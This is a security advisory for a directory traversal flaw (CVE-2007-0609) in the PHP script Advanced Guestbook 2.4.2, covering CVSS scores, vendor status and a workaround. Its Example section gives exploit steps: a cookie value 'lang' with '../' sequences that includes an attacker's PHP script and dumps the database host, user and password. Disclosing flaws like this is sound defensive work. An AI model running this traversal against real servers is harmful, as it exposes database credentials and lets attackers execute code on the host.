Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability

Description:

Advanced Guestbook is a PHP-based guestbook script. It includes many useful features such as preview, templates, e-mail notification, picture upload, page spanning , html tags handling, smiles, advanced guestbook codes and language support. The admin script lets you modify, view, and delete messages. Requires PHP4 and MySQL.

External References:
Mitre CVE: CVE-2007-0609
NVD NIST: CVE-2007-0609
OSVDB: 33878
BUGTRAQ/BID: 23876

Summary:
Advanced Guestbook is a PHP-based guestbook with admin interface.
Security problems in the product allow attackers to conduct directory traversal attacks.
This vulnerabilities can be exploited only when attacker has registered on the same server.

Release Date:
May 07 2007

Severity:
Risk: High

CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Normal
CVSS Base Score: 8

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: Directory Traversal

SecureScout Testcase ID:
TC 17949

Vulnerable Systems:
Advanced Guestbook version 2.4.2

Vulnerability Type:
An attacker via the .. (dot dot) sequence can execute his own php-script on the target server.

Vendor:
Chi Kien Uong

Vendor Status:
Contact with the Vendor was established but draft of the security advisory wasn't provided because the Vendor stopped responding to our emails on 9 March 2007. There is no official fix at the release of this Security Advisory

Workaround:
Set Advanced Guestbook default static language.

Example:

1. Create php-script like: <?php global $GB_DB; print_r($GB_DB); ?> 2. Set in COOKIES variable lang = "[ via the .. (dot dot) Sequence set the script name on the same server]" for example "../../../hack_www/htdocs/hack"

REQUEST:
http://[TARGET]/[guestbook-directory]/index.php

REPLY:
Array ( [dbName] => [CURRENT DB NAME] [host] => [CURRENT DB HOST] [user] => [DB USER NAME] [pass] => [DB USER PASSWORD] )

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com